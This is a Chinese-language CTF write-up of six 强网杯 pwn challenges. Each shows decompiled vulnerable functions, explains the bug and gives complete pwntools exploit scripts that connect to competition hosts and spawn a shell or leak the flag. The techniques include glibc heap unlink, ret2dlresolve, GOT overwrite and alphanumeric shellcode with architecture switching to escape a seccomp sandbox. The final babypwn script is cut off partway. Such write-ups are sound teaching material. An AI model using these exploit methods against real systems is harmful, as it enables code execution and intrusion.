专栏首页I0gan强网杯PWN WP
原创

强网杯PWN WP

强网杯PWN WP

这次比赛总的来说体验还是很不错,baby_diary这个题虽然没有拿到前三血,但做题速度超过腾讯eee,星盟安全,长亭科技战队等。

这次本来可以去总决赛了,但由于我们学校另一支战队后期爆发,拿了个web一血,还多了我们道逆向,超了我们很多分数。

比赛结束截图如下

比赛结束是35名,但经过举办方的严查,最终官方排名:23

baby_diary

漏洞点

__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    if ( a3 == *(_BYTE *)(i + a1) )
      break;
  }
  *(_BYTE *)(i + a1) = 0;                      //设置最后一个至为0
  return (unsigned int)i;
}

执行完编辑函数,可以修改最后一个字节的low_byte位

void __fastcall sub_1528(unsigned int idx, int n)
{
  __int64 v2; // [rsp+10h] [rbp-8h]

  if ( idx <= 0x18 && bufs[idx] )
  {
    v2 = bufs[idx];
    flags[idx] = n;
    if ( n )
      *(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
  }
}

然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。

__int64 __fastcall sub_146E(unsigned int a1)
{
  int i; // [rsp+10h] [rbp-14h]
  unsigned int v3; // [rsp+14h] [rbp-10h]

  if ( a1 > 0x18 || !bufs[a1] )
    return 0xFFFFFFFFLL;
  v3 = 0;
  for ( i = 0; i < flags[a1]; ++i )
    v3 += *(unsigned __int8 *)(i + bufs[a1]);
  while ( v3 > 0xF )
    v3 = (v3 >> 4) + (v3 & 0xF);
  return v3;
}

漏洞综述,最后字节用'\x00'截断,4bit位溢出。

glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为'\x00'截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm

下面是我重重构造,实现unlink的信息

 0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "8.140.114.72:1399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz, d):
    sla('>>', '1')
    sla(':', str(sz))
    if(sz > 0):
        sa(':', d)

def dp(idx):
    sla('>>', '2')
    sla(':', str(idx))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    for i in range(7): # 0-6
        ad(0x1000, "padding\n")

    #ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
    ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31

    for i in range(7): # 8-14
        ad(0x28, 't\n')

    ad(0x1b20, "largebin\n") # 15
    ad(0x20, "padding\n") # 16
    rm(15)

    ad(0x2000, '\n') # 15
    ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin

    ad(0x28, 'a\n') # 18
    ad(0x28, 'b\n') # 19
    ad(0x38 + 0x300, 'c\n') # 20
    ad(0x28, 'd\n') # 21
    ad(0x28, 'e\n') # 22 for not merge
     
    # fill in tcache_entry[1](size: 0x30)
    t = 9
    for i in range(7): # 8-14
        rm(8 + i)
    rm(18) # t
    rm(20)
    rm(21)

    # clear tcache_entry[1](size: 0x30)
    for i in range(7): # 8-14
        ad(0x28, '\n')

    # fastbin to smallbin
    ad(0x450, '\n') #18

    # get a chunk from smallbin , another smallbin chunk to tcache
    # 20, change fake chunk's fd->bk to point to fake chunk
    ad(0x28,  b'\x03' + b'\x00' * 7 + b'\n')

    # clear chunk from tcache
    ad(0x28, 'clear\n') # 21
     
    for i in range(7): # 8-14
        rm(8 + i)
              
    # free to fastbin
    rm(19)
    rm(17)
               
    for i in range(7): # 8-14
        ad(0x28, '\n')
                        
    # change fake chunk's bk->fd
    ad(0x28, b'\n') # 17


    # Make house of einherjar
    rm(18)
    for i in range(6): # 8-14
        rm(8 + i)

    ad(0x170, '\n') # 8
    ad(0x450, '\n') # 9
    ad(0x60, '\n')  # 10
    
    rm(8)
    ad(0x177, b'\x00' * 0x177) # 8
    rm(8)
    ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
    # unlink
    rm(9)

    # leak libc 
    ad(0x430, '\n') # 9
    dp(22) 
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
    system = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    li('libc_base: ' + hex(libc_base))
    #ad(0x17, p64(free_hook) + b'\n')

    for i in range(3):
        ad(0x28, b'\n')
        
    rm(20) # 

    rm(0) # for clean
    rm(1) # for clean

    ad(0x18, '/bin/sh\n')

    rm(9) #
    ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n') 
    ad(0x28, '\n')
    ad(0x28, p64(system) + b'\n')

    db()
    rm(0)


    # double free
    #rm(0)


	'''
    rm(9)
    ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
    '''
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

noout

没有打印函数,通过'\x00'字节绕过字符串比较

__sighandler_t sub_8049424()
{
  __sighandler_t result; // eax
  char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
  const char *v3; // [esp+5Ch] [ebp-Ch]

  init_();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);
  sub_80493EC(src);
  strcpy(dest, src);
  v3 = "now give you the flag\n";
  read(unk_804C080, src, 0x10u);
  result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
  if ( !result )
    result = sub_8049269();
  return result;
}

再利用计算错误抛出SIGFPE信号使调用漏洞函数

__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    signal(8, (__sighandler_t)vuln);            // set handler
                                                // SIGFPE 表示一个算数运算异常
    v2[1] = v2[0] / (int)v1;                    // 使运算异常调用漏洞函数
    result = signal(8, 0);
  }
  return result;
}
ssize_t vuln()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);                  // stack overflow
}

漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。

exp

#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
from roputils import ROP
import os

# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.138.97:1234"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    s('\x00' * 0x30)
    #db()
    # make calc error
    s('\x00' * 0x20)
    sl(str(-0xcccccccc))
    #db()
    sl(str(-1))

    # vuln, stack overflow
    rop  = ROP(elf_path)
    buf  = elf.bss()
    pop3 = 0x08049581
    p = b'\x00' * 0x4C
    p += p32(elf.sym['read'])
    p += p32(pop3)
    p += p32(0)
    p += p32(buf)
    p += p32(0x80)
    p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
    sleep(0.5)
    s(p)

    # dl resolve data 
    p = '/bin/sh\x00'.ljust(0x10, '\x00')
    p += rop.dl_resolve_data(buf + 0x10, 'execve')
    p = p.ljust(0x80, '\x00')
    sleep(1)
    sl(p)

    #sleep(0.1)
    #sl(p)
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

orw

一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。

存在个index 负数溢出,可以实现修改got表,为堆地址。

__int64 sub_E44()
{
  int idx; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]

  if ( add_nums <= 1 )
  {
    puts("index:");
    idx = inputn();
    puts("size:");
    size = inputn();
    if ( size >= 0 && size <= 8 && idx <= 1 )   // index overflow
    {
      bufs[idx] = malloc(size);
      if ( !bufs[idx] )
      {
        puts("error");
        exit(0);
      }
      puts("content:");
      readn((_BYTE *)bufs[idx], size);
      ++add_nums;
    }
  }
  return add_nums;
}

查看程序架构

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。

试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
    gdb.attach(io)

def ad(idx, sz, d):
    sla('>>', '1')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '1')

def md():
    sla('>>', '1')

def rm(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    #for i in range(2):
    # wirte
    code = '''
    lea r15, [rip + 0xf9] /* buf */
    mov rdi, r15 /*buf*/
    mov rsi, 0x0 
    mov rdx, 0x0
    mov rax, 2
    syscall

    /*read*/
    mov rdi, 3
    mov rsi, r15
    mov rdx, 0x100
    mov rax, 0
    syscall

    /*write*/
    mov rdi, 1
    mov rax, 1
    syscall
    '''

    p = asm(code, arch = 'amd64')
    p = p.ljust(0x100, b'\x00')
    p += b'./flag\x00'

    ad(-14, 0, p + b'\n')
#    db()
    # call
    sla('>>', '4')
    
def finish():
    ia()
    c()

exploit()
finish()

shellcode

沙箱检查如下

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x03 0x00 0x00000004  if (A == stat) goto 0007
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

输入的shellcode有检查

 for ( i = 0; i < v6; ++i )
 {
    if ( v4[i] <= 31 || v4[i] == '\x7F' )
      goto LABEL_10;
 }

也就是机器码字符小于等于'\x31'的就退出或等于'\x7f',我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现'\x00',通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。

	code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''

在原来的shellcode + 0x120处实现输入,再跳到那个地方去。

采用alpha3工具生成可显示shellcode如下

Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c

当然我也写了个函数方便修改。

def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p

然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。

	code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。

后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。

	code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

由于不能使用write的系统调用,只能采用延时爆破了

	if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。

通过时间来判断是否想等。

总结:

自己踩了很多坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用延时爆破读出来。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.137.118:50050"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
#  ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o

def exploit(idx, ch):
    li('exploit...')
    '''
    git clone https://github.com/TaQini/alpha3.git
    cd alpha3
    python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    rax: shellcode base_address
    '''
    # python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    #p = gen_code()
    p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
    s(p)

    code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

    #p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
    sleep(0.01)
    s(p)

    code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

    if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

    p += asm(code, arch = 'amd64')
    sleep(0.01)
    s(p)

    start = time.time()
    try:
        io.recv(timeout = 2)
    except:
        pass
    end = time.time()

    if (end - start > 1.5):
        return ch
    else:
        return None

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    flag = ''
    idx = 3
    while True:
        for ch in range(0x20, 127):
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                io = elf.process()
            else:
                elf = ELF(elf_path)
                io = remote(host.split(':')[0], int(host.split(':')[1]))
                if LIBC:
                    libc = ELF(libc_path)

            ret = exploit(idx, ch)
            if(ret != None):
                li('found: ' + chr(ch))
                flag += chr(ch)
                li('flag: ' + flag)
                idx += 1
            io.close()

pipeline

没有free函数,通过设置大小为0即可实现释放内存功能。

找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。

漏洞点

_QWORD *edit_body()
{
  _QWORD *result; // rax
  int size; // eax
  int index; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  _QWORD *buf; // [rsp+18h] [rbp-8h]

  index = print("index: ");
  result = (_QWORD *)get_buf(index);
  buf = result;
  if ( result )
  {
    result = (_QWORD *)*result;
    if ( *buf )
    {
      v3 = print("size: ");
      printf("data: ");
      size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
      if ( v3 <= size )
        LOWORD(size) = v3;                      // vul
      result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
    }
  }
  return result;
}

一个整性溢出,因为采用LOWORD(size) = v3;进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查

unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
  unsigned __int64 result; // rax

  if ( ptr < *(_QWORD *)check_mem_buf
    || (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
  {
    puts("error");
    exit(0);
  }
  return result;
}

而check_mem_buf的值在初始化的时候赋予了

unsigned int init_()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  check_mem_buf = (__int64)malloc(0x10uLL);
  *(_QWORD *)check_mem_buf = check_mem_buf + 16;
  *(_QWORD *)(check_mem_buf + 8) = 0x21000LL;   // memsize
  return alarm(0x78u);
}

基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。

修改__realloc_hook为system,再调用realloc函数即可调用system。

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "59.110.173.239:2399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad():
    sla('>>', '1')

def md(idx, of, sz):
    sla('>>', '2')
    sla(':', str(idx))
    sla(':', str(of))
    sla(':', str(sz))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

def ap(idx, sz, d):
    sla('>>', '4')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '5')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak libc
    ad()
    md(0, 0, 0x458)

    ad()
    md(0, 0, 0) # free

    md(0, 0, 0x458) # add
    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
    li('libc_base: ' + hex(libc_base))

    # leak heap
    md(0, 0, 0) # free

    md(0, 0, 0x18) # add
    md(1, 0, 0x18) # add
    #ap(0, -1, 'A')

    ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
    md(0, 0, 0)  # free
    md(1, 0, 0)  # free

    md(0, 0, 0x18)  # add
    dp(0)
    ru('data: ')
    leak = u64(ru('\n').ljust(8, b'\x00'))
    heap = leak
    li('heap: ' + hex(heap))


    ad()
    md(1, 0x18, 0)  # add 1
    md(2, 0x18, 0)  # add 2

    ad()
    md(3, 0x18, 0)  # add 3


    md(2, 0, 0)  # free 2
    md(3, 0, 0)  # free 3
    md(1, 0, 0)  # free 1

    li('target_chunk: ' + hex(heap + 0x460))
    p = b'\x00' * 0x18
    p += p64(0x21) + p64(heap + 0x460) + p64(0)
    p += b'\n'
    ap(0, -0x7ffff00, p)
    md(3, 0, 0x18)  # add 3

    md(2, 0, 0x18)  # add 2
    p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
    p += b'\n'
    ap(2, 0x18, p)
    
    ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')

    ap(0, 0x18, '/bin/sh\x00\n')
    md(0, 0, 0)  # free , to get shell
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

babypwn

这个题也是个坑,打印函数采用加密

int __fastcall enc_print(unsigned int a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 2; i > 0; --i )
    a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
  return printf("%lx\n", a1);
}

采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。

漏洞点

unsigned __int64 __fastcall chc(_BYTE *a1)
{
  unsigned __int64 ch_; // rax

  while ( 1 )
  {
    ch_ = (unsigned __int8)*a1;
    if ( !(_BYTE)ch_ )
      break;
    if ( *a1 == '\x11' )                        // vul
    {
      ch_ = (unsigned __int64)a1;
      *a1 = 0;
      return ch_;
    }
    ++a1;
  }
  return ch_;
}

在输入完数据后,会死循环读取数据,若出现'\x00'则跳出,若出现'\x11'修改该字节为'\x00'且跳出循环。这利用方式就跟off by one差不多了。

程序开了沙箱

__int64 sub_BAA()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。

那就很方便的采用unlink构造堆重叠,由于没有办法解密上面那个泄漏的数据,只能partial write打到_IO_2_1_stdout泄漏libc,打通几率1 / 16,

泄漏之后,然后劫持__free_hook为setcontext + 53处的gadget实现堆栈迁移值 __free_hook - 0x108处,这里我是放在__free_hook高地址位置的,本地能打通,远程死活打不通,我只调用write函数能够泄漏地址信息,应该是某些部分数据被覆盖,导致我的rop链破坏了,只能将rop放在__free_hook上面。

exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
